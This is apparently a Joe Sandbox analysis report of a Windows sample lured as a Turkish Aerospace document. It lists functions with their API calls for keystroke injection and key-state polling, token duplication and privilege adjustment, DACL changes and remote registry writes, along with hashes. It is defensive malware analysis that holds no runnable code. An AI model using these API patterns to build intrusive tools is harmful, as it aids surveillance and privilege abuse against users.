Instruction Fuzzy Hash: D542DC78204291AFE731CF28C948EAABFE5FF49350F140549FAD5872A1C736D844EB92

Function 00FB6F9E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FB71C3
_memset.LIBCMT ref: 00FB7539
_memmove.LIBCMT ref: 00FB76AC

Strings

[:<:]], xrefs: 00FB7479
DEFINE, xrefs: 00FF2103
[:>:]], xrefs: 00FB7492
\b(?=\w), xrefs: 00FF3769
\b(?<=\w), xrefs: 00FF3773
Q\E, xrefs: 00FB7FCB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: 7c48447fc232a9e774518daca45066d242d01dc67aac5cd4c8daaa4c46625858
Instruction ID: 138e46244e7028bdb29ff0dca188d5a37ef0283affc52ee9ce78dd16fb2153fd
Opcode Fuzzy Hash: 7c48447fc232a9e774518daca45066d242d01dc67aac5cd4c8daaa4c46625858
Instruction Fuzzy Hash: CD93A275E04219DBDB24DF98C881BFDB7B1FF48720F24816ADA45AB290E7749D81EB40

Function 00FA48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00FA48DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FDD665
IsIconic.USER32(?), ref: 00FDD66E
ShowWindow.USER32(?,00000009), ref: 00FDD67B
SetForegroundWindow.USER32(?), ref: 00FDD685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FDD69B
GetCurrentThreadId.KERNEL32 ref: 00FDD6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FDD6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00FDD6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 00FDD6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 00FDD6CF
SetForegroundWindow.USER32(?), ref: 00FDD6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FDD6E7
keybd_event.USER32(00000012,00000000), ref: 00FDD6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FDD6FC
keybd_event.USER32(00000012,00000000), ref: 00FDD701
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FDD70A
keybd_event.USER32(00000012,00000000), ref: 00FDD70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FDD719
keybd_event.USER32(00000012,00000000), ref: 00FDD71E
SetForegroundWindow.USER32(?), ref: 00FDD721
AttachThreadInput.USER32(?,?,00000000), ref: 00FDD748

Strings

Shell_TrayWnd, xrefs: 00FDD660

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 65a793e76e6e3503d33df1893da860f9af8baa3855ff6d4bde8b3ee9112265fe
Instruction ID: 716a17aa21a04e3d9e0f08bcb161fa7af6068a62e6f61346a88c5365c7d5dccd
Opcode Fuzzy Hash: 65a793e76e6e3503d33df1893da860f9af8baa3855ff6d4bde8b3ee9112265fe
Instruction Fuzzy Hash: 61317271A40318BAEB316F619C49F7F7F7DEB44BA0F244066FA04EA1C1C6B55900ABA0

Function 00FF8310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00FF87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FF882B
Part of subcall function 00FF87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FF8858
Part of subcall function 00FF87E1: GetLastError.KERNEL32 ref: 00FF8865

_memset.LIBCMT ref: 00FF8353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00FF83A5
CloseHandle.KERNEL32(?), ref: 00FF83B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00FF83CD
GetProcessWindowStation.USER32 ref: 00FF83E6
SetProcessWindowStation.USER32(00000000), ref: 00FF83F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00FF840A

Part of subcall function 00FF81CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FF8309), ref: 00FF81E0
Part of subcall function 00FF81CB: CloseHandle.KERNEL32(?,?,00FF8309), ref: 00FF81F2

Strings

winsta0, xrefs: 00FF83C8
default, xrefs: 00FF8405
, xrefs: 00FF8362

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: f70fe68543bdfbd91d8c8e9425642dd78304f0c8817c1679e0e9539d0adfebd1
Instruction ID: 343d42f2dfeac4226da4466b4da05c3b8b292da78cc2ee490f5d08e77a6c599f
Opcode Fuzzy Hash: f70fe68543bdfbd91d8c8e9425642dd78304f0c8817c1679e0e9539d0adfebd1
Instruction Fuzzy Hash: 48814B7190020DAFDF219FA4DC45AFE7B79FF083A4F284159FA50A6161DB358E16EB20

Function 0100C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0100C78D
FindClose.KERNEL32(00000000), ref: 0100C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0100C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0100C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 0100C844
__swprintf.LIBCMT ref: 0100C890
__swprintf.LIBCMT ref: 0100C8D3

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

__swprintf.LIBCMT ref: 0100C927

Part of subcall function 00FC3698: __woutput_l.LIBCMT ref: 00FC36F1

__swprintf.LIBCMT ref: 0100C975

Part of subcall function 00FC3698: __flsbuf.LIBCMT ref: 00FC3713
Part of subcall function 00FC3698: __flsbuf.LIBCMT ref: 00FC372B

__swprintf.LIBCMT ref: 0100C9C4
__swprintf.LIBCMT ref: 0100CA13
__swprintf.LIBCMT ref: 0100CA62

Strings

%02d, xrefs: 0100C91B, 0100C925, 0100C973, 0100C9C2, 0100CA11, 0100CA60
%4d, xrefs: 0100C8CD
%4d%02d%02d%02d%02d%02d, xrefs: 0100C88A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: ca35dec9951b1c07f7cae43fa449c72071723845c95491dd1d9b09e09abd3f22
Instruction ID: 931bfea6bd61ae1e48b98c006d44b33fcf81b961295475ec45ac8ecb3667b870
Opcode Fuzzy Hash: ca35dec9951b1c07f7cae43fa449c72071723845c95491dd1d9b09e09abd3f22
Instruction Fuzzy Hash: 97A14DB1408305ABD710EFA4CD86DAFB7ECFF86704F40492DF58586191EA78DA08DB62

Function 0100EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 0100EFB6
_wcscmp.LIBCMT ref: 0100EFCB
_wcscmp.LIBCMT ref: 0100EFE2
GetFileAttributesW.KERNEL32(?), ref: 0100EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 0100F00E
FindNextFileW.KERNEL32(00000000,?), ref: 0100F026
FindClose.KERNEL32(00000000), ref: 0100F031
FindFirstFileW.KERNEL32(*.*,?), ref: 0100F04D
_wcscmp.LIBCMT ref: 0100F074
_wcscmp.LIBCMT ref: 0100F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 0100F09D
SetCurrentDirectoryW.KERNEL32(01058920), ref: 0100F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 0100F0C5
FindClose.KERNEL32(00000000), ref: 0100F0D2
FindClose.KERNEL32(00000000), ref: 0100F0E4

Strings

*.*, xrefs: 0100F048

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: b80ebc849bd7e6774230a8eb3d589e79df4de328f4a02226f963f1b47548498e
Instruction ID: a7903ec25ce68b7e746fee253bc0f6d454868357a3f9fa740d5e6f6907ebbca9
Opcode Fuzzy Hash: b80ebc849bd7e6774230a8eb3d589e79df4de328f4a02226f963f1b47548498e
Instruction Fuzzy Hash: B931F43250021B6BEB31EEA5DC49EEE77FC9F452A0F14419AF984E2090DB35DA44DB50

Function 01020857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01020953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0102F910,00000000,?,00000000,?,?), ref: 010209C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 01020A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 01020A92
RegCloseKey.ADVAPI32(?), ref: 01020DB2
RegCloseKey.ADVAPI32(00000000), ref: 01020DBF

Strings

REG_DWORD, xrefs: 01020C83
REG_MULTI_SZ, xrefs: 01020B7A
REG_SZ, xrefs: 01020AD0
REG_EXPAND_SZ, xrefs: 01020A2F
REG_QWORD, xrefs: 01020D00
REG_BINARY, xrefs: 01020D4D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: f58cf519994726a94772da0eb871c8e93ccd2e8652d66b4cbd676146d37fb027
Instruction ID: 0e341d9e5c0d9f79f080165de07775785d241d70eff21a732e4ae3e4d6849533
Opcode Fuzzy Hash: f58cf519994726a94772da0eb871c8e93ccd2e8652d66b4cbd676146d37fb027
Instruction Fuzzy Hash: 770259756046119FDB54EF18C881E2AB7E5FF8A314F04846DF98A9B362CB78ED01DB81

Function 0100F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 0100F113
_wcscmp.LIBCMT ref: 0100F128
_wcscmp.LIBCMT ref: 0100F13F

Part of subcall function 01004385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 010043A0

FindNextFileW.KERNEL32(00000000,?), ref: 0100F16E
FindClose.KERNEL32(00000000), ref: 0100F179
FindFirstFileW.KERNEL32(*.*,?), ref: 0100F195
_wcscmp.LIBCMT ref: 0100F1BC
_wcscmp.LIBCMT ref: 0100F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 0100F1E5
SetCurrentDirectoryW.KERNEL32(01058920), ref: 0100F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 0100F20D
FindClose.KERNEL32(00000000), ref: 0100F21A
FindClose.KERNEL32(00000000), ref: 0100F22C

Strings

*.*, xrefs: 0100F190

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: e0b9251d9f21f244c75fed19720a8574cedd44898b61f5f71d77ac7f219a1c35
Instruction ID: 7b7b9736f43d731fca2f758f3501b8a941cc16de2233ef878a82ae24404b9cc1
Opcode Fuzzy Hash: e0b9251d9f21f244c75fed19720a8574cedd44898b61f5f71d77ac7f219a1c35
Instruction Fuzzy Hash: 9731483650021B7BEB32EEA8EC49EDE77BC9F462A0F144199E980E20D0DB35DA44DB54

Function 0100A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0100A20F
__swprintf.LIBCMT ref: 0100A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 0100A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0100A293
_memset.LIBCMT ref: 0100A2B2
_wcsncpy.LIBCMT ref: 0100A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0100A323
CloseHandle.KERNEL32(00000000), ref: 0100A32E
RemoveDirectoryW.KERNEL32(?), ref: 0100A337
CloseHandle.KERNEL32(00000000), ref: 0100A341

Strings

\, xrefs: 0100A247
:, xrefs: 0100A252
\??\%s, xrefs: 0100A22B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: bd371c39ec16f3082b3b2e8187dcc58826f531a071f37454338fa6020e241760
Instruction ID: a460a54c674edf53c5b236379cd806aa9e01ea84f83c734dd5732a822f50802e
Opcode Fuzzy Hash: bd371c39ec16f3082b3b2e8187dcc58826f531a071f37454338fa6020e241760
Instruction Fuzzy Hash: B831C37160020AABEB31DFA4DC49FEB37BCEF89740F1041B6FA49D2190EB7592448B24

Function 00FF7CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF8202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FF821E
Part of subcall function 00FF8202: GetLastError.KERNEL32(?,00FF7CE2,?,?,?), ref: 00FF8228
Part of subcall function 00FF8202: GetProcessHeap.KERNEL32(00000008,?,?,00FF7CE2,?,?,?), ref: 00FF8237
Part of subcall function 00FF8202: HeapAlloc.KERNEL32(00000000,?,00FF7CE2,?,?,?), ref: 00FF823E
Part of subcall function 00FF8202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FF8255

Part of subcall function 00FF829F: GetProcessHeap.KERNEL32(00000008,00FF7CF8,00000000,00000000,?,00FF7CF8,?), ref: 00FF82AB
Part of subcall function 00FF829F: HeapAlloc.KERNEL32(00000000,?,00FF7CF8,?), ref: 00FF82B2
Part of subcall function 00FF829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00FF7CF8,?), ref: 00FF82C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FF7D13
_memset.LIBCMT ref: 00FF7D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FF7D47
GetLengthSid.ADVAPI32(?), ref: 00FF7D58
GetAce.ADVAPI32(?,00000000,?), ref: 00FF7D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FF7DB1
GetLengthSid.ADVAPI32(?), ref: 00FF7DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00FF7DDD
HeapAlloc.KERNEL32(00000000), ref: 00FF7DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FF7E05
CopySid.ADVAPI32(00000000), ref: 00FF7E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FF7E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FF7E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FF7E77

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 50a047ec84e28b4e85e25dc986db6943bc918944afb45f9e2b4415b08e0bde73
Instruction ID: e9045246318ae1338ff3d92b9ca423175f03e772de8ace82c5bcbbcd2d0e7f5a
Opcode Fuzzy Hash: 50a047ec84e28b4e85e25dc986db6943bc918944afb45f9e2b4415b08e0bde73
Instruction Fuzzy Hash: A6615C7190020AAFDF209FA0DC85EBEFB79FF04750F14815AFA15A6290DB399A05DB60

Function 00FB66E1 Relevance: 18.4, Strings: 14, Instructions: 889COMMON

Download Yara Rule

Strings

UTF), xrefs: 00FF10FA
NO_AUTO_POSSESS), xrefs: 00FF112E
BSR_ANYCRLF), xrefs: 00FF131E
NO_START_OPT), xrefs: 00FF114F
CR), xrefs: 00FF1287
CRLF), xrefs: 00FF12C1
LF), xrefs: 00FF12A4
ANYCRLF), xrefs: 00FF12FB
LIMIT_MATCH=, xrefs: 00FF1170
LIMIT_RECURSION=, xrefs: 00FF11FC
BSR_UNICODE), xrefs: 00FF1338
UTF16), xrefs: 00FF10CF
ANY), xrefs: 00FF12DE
UCP), xrefs: 00FF110D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: aa3c1376444f65c066839e952ec9ca4e0f394484d103e2930eeb6f3b775765b0
Instruction ID: e3e9a64ca60cba25b6267887289849cc1f2cc6d6f501cae8058147f86573a48c
Opcode Fuzzy Hash: aa3c1376444f65c066839e952ec9ca4e0f394484d103e2930eeb6f3b775765b0
Instruction Fuzzy Hash: A2724DB5E00219DBDB24CF59C8807FEB7B5BF44720F24816AE949EB290DB349941EF90

Function 0100001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 01000097
SetKeyboardState.USER32(?), ref: 01000102
GetAsyncKeyState.USER32(000000A0), ref: 01000122
GetKeyState.USER32(000000A0), ref: 01000139
GetAsyncKeyState.USER32(000000A1), ref: 01000168
GetKeyState.USER32(000000A1), ref: 01000179
GetAsyncKeyState.USER32(00000011), ref: 010001A5
GetKeyState.USER32(00000011), ref: 010001B3
GetAsyncKeyState.USER32(00000012), ref: 010001DC
GetKeyState.USER32(00000012), ref: 010001EA
GetAsyncKeyState.USER32(0000005B), ref: 01000213
GetKeyState.USER32(0000005B), ref: 01000221

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: d6be4d8be4fb27b002b83c80ae8b1999ee5dbdefaafed7b5d50eaab9ab44a1eb
Instruction ID: cfdbd3c827603eb776450619f179da07343ff48784ec00488a3b590b1397e314
Opcode Fuzzy Hash: d6be4d8be4fb27b002b83c80ae8b1999ee5dbdefaafed7b5d50eaab9ab44a1eb
Instruction Fuzzy Hash: 9351F83090478929FB77DBA888147EABFF49F022C0F0845DEE6C6565C7DAA4978CC761

Function 010203DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 01020E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101FDAD,?,?), ref: 01020E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 010204AC

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0102054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 010205E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 01020822
RegCloseKey.ADVAPI32(00000000), ref: 0102082F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 557af4a508ecb0d238ea7ec507a6879cf99e396d4f238e21379c0d7f3e5f9099
Instruction ID: b1c91c5d906a95acdbc0a2d98e614de29387b64d8dd273b76aa7ffe5f0220598
Opcode Fuzzy Hash: 557af4a508ecb0d238ea7ec507a6879cf99e396d4f238e21379c0d7f3e5f9099
